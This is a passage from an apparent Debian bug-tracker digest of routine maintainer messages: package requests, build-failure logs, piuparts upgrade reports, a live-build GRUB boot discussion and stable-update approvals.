+-  key_schedule, 1);
++  DES_ecb_encrypt((DES_cblock *)clear, (DES_cblock *)cipher,
++  &key_schedule, 1);
+   return (1);
+ }
+ 
+@@ -185,8 +185,8 @@ DesDecrypt(cipher, clear)
+ u_char *cipher;   /* IN  8 octets */
+ u_char *clear;/* OUT 8 octets */
+ {
+-  des_ecb_encrypt((des_cblock *)cipher, (des_cblock *)clear,
+-  key_schedule, 0);
++  DES_ecb_encrypt((DES_cblock *)cipher, (DES_cblock *)clear,
++  &key_schedule, 0);
+   return (1);
+ }
+ 
diff -Nru pp

Bug#924098: ITP: golang-github-containerd-go-cni -- generic CNI library to provide APIs for CNI plugin interactions

[Shengjing Zhu]

Package: wnpp
Severity: wishlist
Owner: Shengjing Zhu 

* Package name: golang-github-containerd-go-cni
  Version : 0.0~git20190226.0683513-1
  Upstream Author : containerd
* URL : https://github.com/containerd/go-cni
* License : Apache-2.0
  Programming Lang: Go
  Description : generic CNI library to provide APIs for CNI plugin 
interactions

 The library provides APIs to:
 .
  * Load CNI network config from different sources
  * Setup networks for container namespace
  * Remove networks from container namespace
  * Query status of CNI network plugin initialization
 .
 go-cni aims to support plugins that implement Container Network Interface

This is a dependency of containerd.


signature.asc
Description: PGP signature

Bug#909417: gtk-vnc: FTBFS randomly (vncconnectiontest fails with "assertion failed")

[Chris Lamb]

Hi Paul et al.,

> > I'm reporting this as serious because it happens on the buildds:
> >
> >
> https://buildd.debian.org/status/fetch.php?pkg=gtk-vnc&arch=amd64&ver=0.6.0-3&stamp=1486745781&raw=0

Curiously, I can't reproduce this (at the Cambridge BSP).


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org 🍥 chris-lamb.co.uk
   `-

Bug#924097: gcc-python-plugin: FTBFS (no matching function for call to 'pretty_printer::pretty_printer(NULL, int)')

[Santiago Vila]

Package: src:gcc-python-plugin
Version: 0.17-1
Severity: serious
Tags: ftbfs

Dear maintainer:

I tried to build this package in buster but it failed:


[...]
 debian/rules build-indep
dh_testdir
/usr/bin/make -C docs html
make[1]: Entering directory '/<>/docs'
sphinx-build -b html -d _build/doctrees   . _build/html
Running Sphinx v1.8.4
making output directory...
building [mo]: targets for 0 po files that are out of date
building [html]: targets for 40 source files that are out of date
updating environment: 40 added, 0 changed, 0 removed
reading sources... [  2%] 0.10
reading sources... [  5%] 0.11
reading sources... [  7%] 0.12
reading sources... [ 10%] 0.13
reading sources... [ 12%] 0.14
reading sources... [ 15%] 0.15
reading sources... [ 17%] 0.16
reading sources... [ 20%] 0.17
reading sources... [ 22%] 0.7
reading sources... [ 25%] 0.8
reading sources... [ 27%] 0.9
reading sources... [ 30%] appendices
reading sources... [ 32%] attributes
reading sources... [ 35%] basics
reading sources... [ 37%] callbacks
reading sources... [ 40%] callgraph
reading sources... [ 42%] cfg
reading sources... [ 45%] cpychecker
reading sources... [ 47%] diagnostics
reading sources... [ 50%] examples
reading sources... [ 52%] gcc-overview
reading sources... [ 55%] gcc-with-python
reading sources... [ 57%] getting-involved
reading sources... [ 60%] gimple
reading sources... [ 62%] index
reading sources... [ 65%] locations
reading sources... [ 67%] lto
reading sources... [ 70%] misc
reading sources... [ 72%] operators
reading sources... [ 75%] options
reading sources... [ 77%] parameters
reading sources... [ 80%] passes
reading sources... [ 82%] preprocessor
reading sources... [ 85%] release-notes
reading sources... [ 87%] rtl
reading sources... [ 90%] success
reading sources... [ 92%] tables-of-passes
reading sources... [ 95%] tree
reading sources... [ 97%] versions
reading sources... [100%] working-with-c

looking for now-outdated files... none found
pickling environment... done
checking consistency... /<>/docs/gcc-with-python.rst: WARNING: 
document isn't included in any toctree
done
preparing documents... done
writing output... [  2%] 0.10
writing output... [  5%] 0.11
writing output... [  7%] 0.12
writing output... [ 10%] 0.13
writing output... [ 12%] 0.14
writing output... [ 15%] 0.15
writing output... [ 17%] 0.16
writing output... [ 20%] 0.17
writing output... [ 22%] 0.7
writing output... [ 25%] 0.8
writing output... [ 27%] 0.9
writing output... [ 30%] appendices
writing output... [ 32%] attributes
writing output... [ 35%] basics
writing output... [ 37%] callbacks
writing output... [ 40%] callgraph
writing output... [ 42%] cfg
writing output... [ 45%] cpychecker
writing output... [ 47%] diagnostics
writing output... [ 50%] examples
writing output... [ 52%] gcc-overview
writing output... [ 55%] gcc-with-python
writing output... [ 57%] getting-involved
writing output... [ 60%] gimple
writing output... [ 62%] index
writing output... [ 65%] locations
writing output... [ 67%] lto
writing output... [ 70%] misc
writing output... [ 72%] operators
writing output... [ 75%] options
writing output... [ 77%] parameters
writing output... [ 80%] passes
writing output... [ 82%] preprocessor
writing output... [ 85%] release-notes
writing output... [ 87%] rtl
writing output... [ 90%] success
writing output... [ 92%] tables-of-passes
writing output... [ 95%] tree
writing output... [ 97%] versions
writing output... [100%] working-with-c

/<>/docs/0.17.rst:32: WARNING: unknown option: --cpychecker-verbose
generating indices... genindex
writing additional pages... search
copying images... [ 14%] sample-supergraph.png
copying images... [ 28%] new-html-error-report.png
copying images... [ 42%] sample-html-error-report.png
copying images... [ 57%] sample-callgraph.png
copying images... [ 71%] sample-gimple-cfg.png
copying images... [ 85%] sample-gimple-ssa-cfg.png
copying images... [100%] passes.svg

copying static files... WARNING: html_static_path entry 
'/<>/docs/_static' does not exist
done
copying extra files... done
dumping search index in English (code: en) ... done
dumping object inventory... done
build succeeded, 3 warnings.

The HTML pages are in _build/html.

Build finished. The HTML pages are in _build/html.
make[1]: Leaving directory '/<>/docs'
touch doc-stamp
 fakeroot debian/rules binary-indep
dh_testdir
dh_testroot
dh_prep
dh_installdirs
dh_testdir
rm -rf build-python3
mkdir -p build-python3
tar -c -f - --exclude=debian --exclude=build-* . | tar -C build-python3 -x -f -
/usr/bin/make -C build-python3 \
  CC=gcc-8 \
  PYTHON=python3 PYTHON_CONFIG=python3-config \
  PLUGIN_NAME=python3 \
  PLUGIN_DSO=python3.so \
  PLUGIN_PYTHONPATH=/usr/lib/gcc/x86_64-linux-gnu/8/plugin/python3 \
  plugin print-gcc-version
make[1]: Entering directory '/<>/build-python3'
Makefile:202: warning: overriding recipe for target 'autogenerated-casts.c'
Makefile:199: warning:

Bug#920442: Detailed errors

[Chris Lamb]

Hi Hilko et al.,

> I have been able to reproduce the build failure.

Hm. Curiously, I cannot reproduce the build failure at the Cambridge
BSP right now.


Best wishes,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org 🍥 chris-lamb.co.uk
   `-

Bug#924101: ITP: stringtie -- assemble short RNAseq reads to transcripts

[Steffen Moeller]

Package: wnpp
Severity: wishlist
Owner: Steffen Moeller 

* Package name: stringtie
* URL : http://ccb.jhu.edu/software/stringtie/
* License : Artistic-2.0
  Description : assemble short RNAseq reads to transcripts

To be team-maintained by Debian Med at
https://salsa.debian.org/med-team/stringtie

Bug#924100: shim-signed: removal of shim-signed/sid makes files disappear from shim/stretch

[Andreas Beckmann]

Package: shim-signed
Version: 1.28+nmu2+0.9+1474479173.6c180c6-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts replaces-without-breaks

Hi,

during a test with piuparts and DOSE tools I noticed your package causes
removal of files that also belong to another package.
This is caused by using Replaces without corresponding Breaks.

The installation sequence to reproduce this problem is

  apt-get install shim/stretch
  # (1)
  apt-get install shim-signed/sid
  apt-get remove shim-signed
  # (2)

The list of installed files at points (1) and (2) should be identical,
but the following files have disappeared:

  /usr/lib/shim/fbx64.efi.signed
  /usr/lib/shim/mmx64.efi.signed

This is a serious bug violating policy 7.6, see
https://www.debian.org/doc/debian-policy/ch-relationships.html#overwriting-files-and-replacing-packages-replaces
and also see the footnote that describes this incorrect behavior:
https://www.debian.org/doc/debian-policy/ch-relationships.html#id13

The shim-signed package has the following relationships with shim:

  Conflicts: n/a
  Breaks:n/a
  Replaces:  shim (= 0.9+1474479173.6c180c6-1)

>From the attached log (scroll to the bottom...):

1m16.4s ERROR: FAIL: After purging files have disappeared:
  /usr/lib/shim/fbx64.efi.signed owned by: shim-signed
  /usr/lib/shim/mmx64.efi.signed owned by: shim-signed

1m16.4s ERROR: FAIL: After purging files have been modified:
  /var/lib/dpkg/info/shim.list   not owned


cheers,

Andreas


shim=0.9+1474479173.6c180c6-1_shim-signed=1.28+nmu2+0.9+1474479173.6c180c6-1.log.gz
Description: application/gzip

Bug#924099: RFP: click-man -- Automate generation of man pages for python click applications

[Nicolas Braud-Santoni]

Package: wnpp
Severity: wishlist

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

* Package name: click-man
  Version : 0.3.0
  Upstream Author : Timo Furrer 
* URL : https://github.com/click-contrib/click-man
* License : MIT
  Programming Lang: Python
  Description : Automate generation of man pages for python click 
applications


click-man is a tool that can automatically generate manpages for application
written with the click CLI framework.  It provides setuptools integration and
can easily be used during the build of a Debian package:

  https://github.com/click-contrib/click-man#debian-packages


As far as I know, current packaging practices involve either
1. writing a manpage by hand, which is a lot of work
2. generating it ahead-of-time with help2man or somesuch, and commiting it to
   the debian/ directory, where it might get out-of-sync with the actual program
3. not shipping manpages at all  :(

Automatically generating a manpage during package build would definitely be
preferable to (2) and (3), and possibly to (1) if the result is of sufficient
quality.


I cannot currently commit to packaging and maintaining this package, hence why I
am filing a RFP, and in any case I would probably appreciate having a
comaintainer.  :)


Best,

  nicoo

-BEGIN PGP SIGNATURE-

iQJFBAEBCgAvFiEEU7EqA8ZVHYoLJhPE5vmO4pLV7MsFAlyD1iERHG5pY29vQGRl
Ymlhbi5vcmcACgkQ5vmO4pLV7MtFEg//bMCSVlPiWW3qMjpJ45jKT058nK/Npyh4
ua0qh4ui0DzTC4i6AMr1Pp+L1dgnK92QlWBCsq06OKsxE2c/CezLIUNfeYgUGPIx
dzDjOk1dFqkgdjyorFH45rcaQX1CuASamcq5UlVF3aCGrf/e/WaL4VCVf1/Dv942
xHMncmdm1WA7gptiW7ovh+zLLA1ku9Vp+pbGuYmlpNP4npJ1ZM0W9eaEYhaX0Qpc
ucsingbjtfECUScwuJ892TAONt1hAvgyCBOJbpCgemj4GUXVvKfbXneXoF7LfC0F
NIk+OmKfhGjyqQRtw8QJnhrCwGvHFS+As2f2nFoIjIApY3Vq/UnQZ2gT0O1Iz+JW
WFFTeCeF2RDYTGJZgnW+B4+k9dAbcjkcT/qpIAU/PNj2ahzWfbCkmQjugrnh3Fgj
v+P7vBN8iIVolcAKZ5EL7axpHNHkJJAvI/rzGJs+VJQZBnbQMBdYc1M7sf10g4KL
gxsfw62+mx+J+MOsl9i+eGc35OeuYTi9NZ3yGM1fk7xNAb5Q2gPXvJ7bVGEUJcmy
4hXsFCrUDw7dK58DbQGF+O4VpwhhqPtI7I2CnKyMu7F44MZwikbDVOJ4q3GE5hdQ
7VXwRlDSwnCa/x0p/fX0KK1b6ZE8doIRRzfRz67mglijl8C+6LeWr51i/5z+JeZ3
pnsKpYtQgaA=
=Uh8t
-END PGP SIGNATURE-

Bug#895271: konqueror: crahses while running programms which try to start it

[Andrew M.A. Cater]

There have been two subsequent versions of Konqueror uploaded to Buster 
since this problem. Can't reproduce this on current version: 4.18.12.0-1 
. Is this still a problem for you?

Bug#924102: opendnssec: [INTL:nl] Dutch translation of debconf messages

[Frans Spiesschaert]

 
 
Package: opendnssec 
Severity: wishlist 
Tags: l10n patch 
 
 
 
Dear Maintainer, 
 
 
Please find attached the Dutch translation of opendnssec
debconf messages. 
It has been submitted for review to the debian-l10n-dutch mailing
list. 
Please add it to your next package revision. 
It should be put as debian/po/nl.po in your package build tree. 
 

-- 
Met vriendelijke groet,
Frans Spiesschaert


nl.po.gz
Description: application/gzip

Bug#924103: ltsp: [INTL:nl] Dutch translation of debconf messages

[Frans Spiesschaert]

 
 
Package: ltsp 
Severity: wishlist 
Tags: l10n patch 
 
 
 
Dear Maintainer, 
 
 
Please find attached an updated Dutch translation of ltsp debconf
messages. 
It has been submitted for review to the debian-l10n-dutch mailing
list. 
Please add it to your next package revision. 
It should be put as debian/po/nl.po in your package build tree. 
 

-- 
Met vriendelijke groet,
Frans Spiesschaert


nl.po.gz
Description: application/gzip

Bug#924104: libjs-leaflet.markercluster: missing Breaks+Replaces: libjs-leaflet-markercluster (<< 1.4.1~dfsg-4)

[Andreas Beckmann]

Package: libjs-leaflet.markercluster
Version: 1.4.1~dfsg-5
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts replaces-without-breaks

Hi,

during a test with piuparts and DOSE tools I noticed your package causes
removal of files that also belong to another package.
This is caused by using Replaces without corresponding Breaks.

The installation sequence to reproduce this problem is

  apt-get install libjs-leaflet-markercluster/stretch
  # (1)
  apt-get install libjs-leaflet.markercluster/sid
  apt-get remove libjs-leaflet.markercluster
  # (2)

The list of installed files at points (1) and (2) should be identical,
but the following files have disappeared:

  /usr/share/javascript/leaflet/MarkerCluster.Default.css
  /usr/share/javascript/leaflet/MarkerCluster.css
  /usr/share/javascript/leaflet/leaflet.markercluster.js

This is a serious bug violating policy 7.6, see
https://www.debian.org/doc/debian-policy/ch-relationships.html#overwriting-files-and-replacing-packages-replaces
and also see the footnote that describes this incorrect behavior:
https://www.debian.org/doc/debian-policy/ch-relationships.html#id13

The libjs-leaflet.markercluster package has the following relationships with 
libjs-leaflet-markercluster:

  Conflicts: n/a
  Breaks:n/a
  Replaces:  libjs-leaflet-markercluster

>From the attached log (scroll to the bottom...):

0m59.0s ERROR: FAIL: After purging files have disappeared:
  /usr/share/javascript/leaflet/MarkerCluster.Default.cssowned by: 
libjs-leaflet.markercluster
  /usr/share/javascript/leaflet/MarkerCluster.cssowned by: 
libjs-leaflet.markercluster
  /usr/share/javascript/leaflet/leaflet.markercluster.js owned by: 
libjs-leaflet.markercluster

0m59.0s ERROR: FAIL: After purging files have been modified:
  /var/lib/dpkg/info/libjs-leaflet-markercluster.listnot owned


With the reintroduction of libjs-leaflet-markercluster as a
transitional package, the Replaces in libjs-leaflet.markercluster
needs to be versioned and a corresponding Breaks needs to be added.
The Provides: libjs-leaflet-markercluster in libjs-leaflet.markercluster
might be dropped.


cheers,

Andreas


libjs-leaflet-markercluster=0.5.0~dfsg-2_libjs-leaflet.markercluster=1.4.1~dfsg-5.log.gz
Description: application/gzip

Bug#892812: Fwd: Libdrm-radeon1 bug

[Andrew M.A. Cater]

Julien,


This version is no longer in Buster - kernel version is now 4.19 and 
libdrm-radeon1 is now at 2.4.97 rather than 2.4.90 . On an AMD E-300 
with Radeon, I cannot reproduce this bug.


Hardware here is a Lenovo x121e which reports AMD/ATI Wrestler [Radeon 
HD 6310]


Is this still a problem for you?

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

El 09/03/19 a las 15:03, Thomas Schmitt escribió:
> Hi,
> 
> adrian15 wrote:
>> Well, guess what happened... my obvious patch:
>>  if ! search --set=root --file /live/vmlinuz ; then
>search --set=root --file /live/vmlinuz1
>> does not boot in my computer because it's still finding /live/vmlinuz in
>> the internal hard disk.
>  
> That's the second bad spinoff from using as ISO earmark a file which
> already has a different job.
> (First in my counting is that a change in kernel naming inadvertedly
>  could spoil the recognition of the ISO.)
> 
> 
>> 3) I'll try to code this dedicated unique identification file path that
>> you are proposing and see if it works better.
> 
> I am pondering whether the name should be long and human readable
> like "d-live_9.4.0_xf_amd64" or short and bootloader agnostic like
> "0F63AE66.87F" (*).
> The former needs Rock Ridge support to be recognizable (GRUB2 has it,
> afaic), the latter would show up the same in all naming systems of
> the ISO. Be it plain ISO 9660 level 1, Rock Ridge, or Joliet.
> 
> (*) The short name was derived by:
> 
>   x=$(echo -n 'd-live 9.4.0 xf amd64' | md5sum | tr 'a-z' 'A-Z' | dd bs=1 
> count=11)
>   name=$(echo "$x" | dd bs=1 count=8)"."$(echo "$x" | dd bs=1 skip=8 count=3)
> 
> (I am sure it can be done more elegantly.)
> 
> 
> Have a nice day :)
> 
> Thomas

I have been scratching my head on where to put this file.

/live/0F63AE66.87F makes things more difficult to remaster tools because
there is not an easy way to determine which file is the identifier one.

However we could use a new directory for sort of identifying the distro
thanks to its filename.

So you would have:

/live/id/0F63AE66.87F
.

This is something that I think could work and I'm happy with.

I only need to choose which variables to generate the seed from and I'm
done.

Taking a look at: scripts/build/config :

LB_ARCHITECTURES
LB_DISTRIBUTION
LB_PARENT_DISTRIBUTION
LB_LINUX_FLAVOURS
LB_LINUX_PACKAGES
LB_ISO_APPLICATION
LB_ISO_PREPARER
LB_ISO_PUBLISHER
LB_ISO_VOLUME

This seems quite arbitrary but it should be enough I think.


I think next day I'm able to develop on this matter I will checkout a
new branch for this.


adrian15
-- 
Support free software. Donate to Super Grub Disk. Apoya el software
libre. Dona a Super Grub Disk. http://www.supergrubdisk.org/donate/

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

I just wanted to write down that the label approach works for me.

This would be the patch/commit for this approach:

https://github.com/rescatux/live-build/commit/cf11816e64256d8028c4b2f10de2996de09328f2

replace:

search --set=root --file /live/vmlinuz

with:

search --set=root --label "${LB_ISO_VOLUME}"

.

As I said I'll work on the /live/id/12345678.ABC approach later.

adrian15

El 09/03/19 a las 15:18, adrian15 escribió:
> I am currently building and testing a label search approach.
> It works manually on both UEFI USB boot and TianaCore UEFI CDROM boot.
> 
> The patch is here:
> https://github.com/rescatux/live-build/commit/2716635f6314bba1d94f0693a33bbb55eba323e5
> 
> and, well it's quite simple:
> replace:
> 
> search --set=root --file /live/vmlinuz
> 
> with:
> 
> search --set=root --label \"${LB_ISO_VOLUME}\"
> .
> 
> 
> I might discard this label approach and take yours because of tools to
> remaster distros.
> 
> If I hard code 'DebianLive87' or whatever Debian label is then anyone
> who wants modify minimally the iso then needs to reconstruct the efi.img
> file so that it searchs for their label.
> 
> Because, obviously when you remaster an ISO you want to put your volume
> name and not "Debian", "Ubuntu" or whatever.
> 
> 
> Your filename base approach just enforces the remaster tool to find an
> unknown 8.3 file and make sure to copy it. Or maybe every single file at
> device root ?
> 
> It's way simpler than mine.
> 
> 
> So Thomas... any more thoughts that you can bring me in... to make
> remaster tools work easier?
> 
> Maybe I'm missing something obvious.
> 
> Thank you.
> 
> 
> adrian15
> 

-- 
Support free software. Donate to Super Grub Disk. Apoya el software
libre. Dona a Super Grub Disk. http://www.supergrubdisk.org/donate/

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[Thomas Schmitt]

Hi,

adrian15 wrote:
> replace:
> search --set=root --file /live/vmlinuz
> with:
> search --set=root --label \"${LB_ISO_VOLUME}\"

This looks ok for me, as far as GRUB2's work is concerned.

But when the GNU/Linux comes up, it may again be necessary for software
in the initrd to locate the ISO filesystem.
Unarchiving dim memories from last year:
  https://lists.debian.org/debian-live/2018/04/msg5.html

If the initrd indeed looks for marker files, then one should coordinate
both find-the-ISO efforts.
If it has other methods, then one should consider whether they are good
and whether it is possible to join them in GRUB2 .cfg.

-

If you stay with the idea of an earmark file, then the GRUB2 efi.img
and the initrd need to know the name for their version of a live ISO
(or installation ISO).
Any two debian-live ISOs which shall be distinguishable would have to bear
different earmark files.

This imposes some work on tools which want to remaster Debian ISOs and
derive own distingushable versions. The benefit is that those remastered
ISOs can coexist with the originals not only in the firmware's list of
boot devices but also later in the initrd's list of possible storage
devices for mounting the ISO.
Tools which just want to add some packages may maintain the original
earmark and bet on not meeting the original ISO at boot time on the same
machine.


How stupid is the idea to let GRUB2 tell initrd the earmark name in
a kernel parameter ? I.e. in
  linux  /live/vmlinuz-4.9.0-6-amd64 boot=live earmark="${earmark}" components 
"${loopback}"
where "${earmark}" would be set in the GRUB configuration of efi.img ?

Needs possibly coordination with "${loopback}" which already cares for
ISO image files.

If debian-live switches to GRUB2 for BIOS, then "${earmark}" would
have to be known to the .cfg empire in the ISO. But for now it would
suffice to let efi.img tell it to all others.


Have a nice day :)

Thomas

Bug#923202: stretch-pu: package ruby2.3/2.3.3-1+deb9u5

[Antonio Terceiro]

On Sat, Mar 09, 2019 at 02:12:26PM +, Adam D. Barratt wrote:
> Control: tags -1 -moreinfo +confirmed
> 
> On Sat, 2019-03-09 at 11:01 -0300, Antonio Terceiro wrote:
> > On Sat, Mar 09, 2019 at 01:56:02PM +, Adam D. Barratt wrote:
> > > Control: tags -1 + moreinfo
> > > 
> > > On Sun, 2019-02-24 at 21:27 -0300, Antonio Terceiro wrote:
> > > > this update fixes 2 FTBFS bugs on stretch. All of the changes are
> > > > in
> > > > the test suite, so there are no functional changes.
> > > 
> > > [...]
> > > > ruby2.3 (2.3.3-1+deb9u5) stretch; urgency=medium
> > > > 
> > > >   * Backport upstream patches to fix FTBFS due to expired SSL
> > > > certificate and
> > > > timezone changes (Closes: #91)
> > > > - imap: update test certificate
> > > > - timezone changes for Japan and Kiritimati
> > > >   * test/ruby/test_gc.rb: skip entirely; some tests in there can
> > > > fail
> > > > unpredictably on buildds (Closes: #912740)
> > > 
> > > Does this resolve all of the FTBFS issues that are currently
> > > keeping
> > > 2.3.3-1+deb9u4 from being accepted into stable-new? (I'm hoping
> > > that's
> > > what the #912740 does, but would like to be sure.)
> > 
> > Yes
> 
> Thanks for the quick response; please go ahead.

Uploaded


signature.asc
Description: PGP signature

Bug#922647: Info received (Bug#922647: systemd --user no longer running)

[Michael Biebl]

Am 09.03.19 um 15:00 schrieb Michael Biebl:
> Am 09.03.19 um 14:10 schrieb Julien Leproust:
>> Hi,
>>
>> I found the issue.
>>
>> When looking for /etc files not belonging to any package, I discovered
>> that /etc/pam.d/common-* files are managed by pam-auth-update.
>>
>> Most pam profiles were enabled, except "Register user sessions in the
>> systemd control group hierarchy", and just enabling it fixed the
>> problem. The systemd user service and logind session are now correctly
>> started and everything works fine (device permissions, pulseaudio, etc).
>>
>> The real issue becomes why this pam profile got disabled in the first
>> place.
> 
> libpam-systemd uses pam-auth-update as documented.
> There is no code in the libpam-systemd package which disables/removes
> pam_systemd.so.
> 
> So either you have at some point modified /etc/pam.d/common-* yourself
> or there is a bug in pam-auth-update.
> 
> If I had to guess, the former is more likely.

Afaik, if at some point in the past you have modified
/etc/pam.d/common-* manually and you then install libpam-systemd,
pam-auth-update will preserve your local changes and not add pam_systemd.so.

Are you absolutely sure, pam_systemd.so was enabled in the past and at
some point suddenly removed from /etc/pam.d/common-session?

Or is it more likely that pam_systemd.so was never enabled?
If pam_systemd.so was suddenly disabled, can you pin this to a certain
event, like files being restored from a backup?

In case, there is not really something we can do about this in the
libpam-systemd package. As said, it does not actively remove pam_systemd.so.

What we might do is to include the contents of /etc/pam.d/common-session
in the bug report (via a libpam-systemd bugscript) to make issues like
this easier to spot in the future.

Michael




-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#923637: 923637 is pending

[Andrius Merkys]

control: tags -1 + pending

Hello,

the patch is applied in the VCS and the fixed version of the package is
ready to be uploaded. Could someone with upload permissions do it?

Best,
Andrius

Bug#864743: unblock: nodejs/4.8.3~dfsg-1

[Adam D. Barratt]

On Sun, 2018-12-02 at 16:47 +0100, Julien Cristau wrote:
> Control: tag -1 - moreinfo
> 
> On Sat, Jun 17, 2017 at 05:53:31PM +0100, Adam D. Barratt wrote:
> > retitle 864743 stretch-pu: package nodejs
> > user release.debian@packages.debian.org
> > usertags 864743 = pu
> > tags 864743 + stretch moreinfo
> > thanks
> > 
> > On Wed, 2017-06-14 at 00:40 +0200, Jérémy Lal wrote:
> > > Please unblock package nodejs
> > > 
> > > - it's a LTS upstream update from 4.8.2 to 4.8.3
> > > - it fixes #855018, #855018 to avoid test failures
> > > - it fixes #864735  with a Priority: optional on source package
> > > - it restores how upstream finds global nodejs modules:
> > >   /usr/lib/nodejs (as before) when executable is in
> > > /usr/bin/nodejs
> > >   /usr/local/lib/nodejs (not as before) when executable is in
> > >   /usr/local/bin/nodejs.
> > >   It was a bad idea to disable this in the first place.
> > > 
> > > I've excluded upstream changes concerning:
> > > - tests and their fixtures
> > > - html documentation
> > > - markdown documentation, changelog, readme, ...
> > 
> > Sorry this didn't get a reply before the release, although it was
> > filed
> > very late in the process.
> > 
> > Converting to a proto-pu request so we can consider what might be
> > appropriate for an update in stable.
> > 
> 
> Sorry for the delay.  Looks fine for upload if there's still
> interest.

Ping? I plan on closing this bug in a couple of weeks if nothing
changes.

Regards,

Adam

Bug#920545: Fixed in git repo

[olivier sallou]

Hi,
I have pushed a fix to get autopkgtests done in python-intervaltree-bio
I have not uploaded package, as we are in freeze transition, so patch is in
git only
Commit: 4f67ea8b607fa47520b553ce8776a37cf62a1713
Link:
https://salsa.debian.org/med-team/python-intervaltree-bio/commit/4f67ea8b607fa47520b553ce8776a37cf62a1713

I ran locally autopkgtest with this patch and everything was fine

autopkgtest -B python-intervaltree-bio_1.0.1-4_all.deb
python-intervaltree-bio_1.0.1-4.dsc -- null

Olivier

Bug#924105: kea-common: fails to install: dpkg-statoverride: error: group '_kea' does not exist

[Andreas Beckmann]

Package: kea-common
Version: 1.5.0-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install. As
per definition of the release team this makes the package too buggy for
a release, thus the severity.

>From the attached log (scroll to the bottom...):

  Setting up kea-common (1.5.0-1) ...
  dpkg-statoverride: error: group '_kea' does not exist
  dpkg: error processing package kea-common (--configure):
   installed kea-common package post-installation script subprocess returned 
error exit status 2
  Processing triggers for libc-bin (2.28-8) ...
  Errors were encountered while processing:
   kea-common


cheers,

Andreas


kea-common_1.5.0-1.log.gz
Description: application/gzip

Bug#924027: unblock: extsmail/2.2-4

[Jonathan Wiltshire]

Control: tag -1 moreinfo

Hi,

On Fri, Mar 08, 2019 at 02:40:48PM +0100, Olivier Girondel wrote:
> Please unblock extsmail.
> 
> I uploaded a new version of extsmail, which reset the package's
> transition countdown, which will cause it to miss the hard freeze window:

Well, as the package wasn't in testing at all on the 12th February it's
actually not the hard freeze window that's relevant here. But yes, 2.2-1
might have just squeaked in but 2.2-2, 2.2-3 and 2.2-4 have all followed
that and will not be migrating.

I have some concerns about the packaging quality - not release critical,
but still:

 - missing Vcs-* line in d/control?
 - referred vcs doesn't contain any Debian packaging?
 - you added --no-parallel in 2.2-1, removed it in 2.2-2, added it again in
   2.2-3 with no explanations?

None of these are show-stoppers but they do stand out a bit. Any comment on
them?

-- 
Jonathan Wiltshire  j...@debian.org
Debian Developer http://people.debian.org/~jmw

4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC  74C3 5394 479D D352 4C51

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

El 09/03/19 a las 16:35, Thomas Schmitt escribió:
> Hi,
> 
> adrian15 wrote:
>> replace:
>> search --set=root --file /live/vmlinuz
>> with:
>> search --set=root --label \"${LB_ISO_VOLUME}\"
> 
> This looks ok for me, as far as GRUB2's work is concerned.
Yeah, it had TYPO but, yeah, as I said it worked for me.
> 
> But when the GNU/Linux comes up, it may again be necessary for software
> in the initrd to locate the ISO filesystem.
> Unarchiving dim memories from last year:
>   https://lists.debian.org/debian-live/2018/04/msg5.html
> 
> If the initrd indeed looks for marker files, then one should coordinate
> both find-the-ISO efforts.
> If it has other methods, then one should consider whether they are good
> and whether it is possible to join them in GRUB2 .cfg.

No, that's not the case. findiso works fine when the iso filename is not
repeated in many devices.

That's not going to happen too often.

The bug you were pointing out, although I have not tested myself I think
it's present nowadays in official Debian Live builds (based on lwr).

The loopback.cfg tries to load grub/grub.cfg while it should load
boot/grub/grub.cfg instead.

I'll try to reproduce it later and report it in a new bug if it's needed.

> 
> -
> 
> If you stay with the idea of an earmark file, then the GRUB2 efi.img
> and the initrd need to know the name for their version of a live ISO
> (or installation ISO).
> Any two debian-live ISOs which shall be distinguishable would have to bear
> different earmark files.

No, findiso works with the iso filename.
Then when the iso has been loopmounted in grub shell the loopback.cfg
pass the iso path and iso filename to the kernel.
Initrd then looks for this specific path and iso filename in all of your
devices.

And that's it.

I mean,... if you have one hard disk with /boot/boot-isos/debian.iso
and you also have another hard disk with the same exact
/boot/boot-isos/debian.iso then you cannot be sure about which one has
been boot.

The first hard disk iso might be run from Super Grub2 Disk but then the
initrd might load the squashfs from second hard disk.

Well, I don't care too much for this scenario because we are dealing
specifically with having the same iso path and iso filename, which it
would be very rare.

> 
> This imposes some work on tools which want to remaster Debian ISOs and
> derive own distingushable versions. The benefit is that those remastered
> ISOs can coexist with the originals not only in the firmware's list of
> boot devices but also later in the initrd's list of possible storage
> devices for mounting the ISO.
> Tools which just want to add some packages may maintain the original
> earmark and bet on not meeting the original ISO at boot time on the same
> machine.
> 
> 
> How stupid is the idea to let GRUB2 tell initrd the earmark name in
> a kernel parameter ? I.e. in
>   linux  /live/vmlinuz-4.9.0-6-amd64 boot=live earmark="${earmark}" 
> components "${loopback}"
> where "${earmark}" would be set in the GRUB configuration of efi.img ?
> 
> Needs possibly coordination with "${loopback}" which already cares for
> ISO image files.
> 
> If debian-live switches to GRUB2 for BIOS, then "${earmark}" would
> have to be known to the .cfg empire in the ISO. But for now it would
> suffice to let efi.img tell it to all others.

Well, I don't care too much about syslinux/isolinux because grub is what
we use in Secure Boot (and the fact that Secure Boot has a minimal grub
environment it's what triggers all of these problems).


adrian15
-- 
Support free software. Donate to Super Grub Disk. Apoya el software
libre. Dona a Super Grub Disk. http://www.supergrubdisk.org/donate/

Bug#877258: stretch-pu: package busybox/1:1.22.0-19+deb9u1

[Adam D. Barratt]

On Thu, 2017-11-30 at 20:17 +0100, Christoph Biedl wrote:
> Second attempt, updated debdiff attached.
> 
> Changes:
> 
> also address:
> 
> +  * Fix integer overflow in bzip2 decompresson.
> +Closes: #879732 [CVE-2017-15873]
> +  * Filter out terminal escape sequence filtering in autocompletion.
> +Closes: #882258 [CVE-2017-16544]
> 
> A call for tests was sent to debian-boot three days ago¹, no
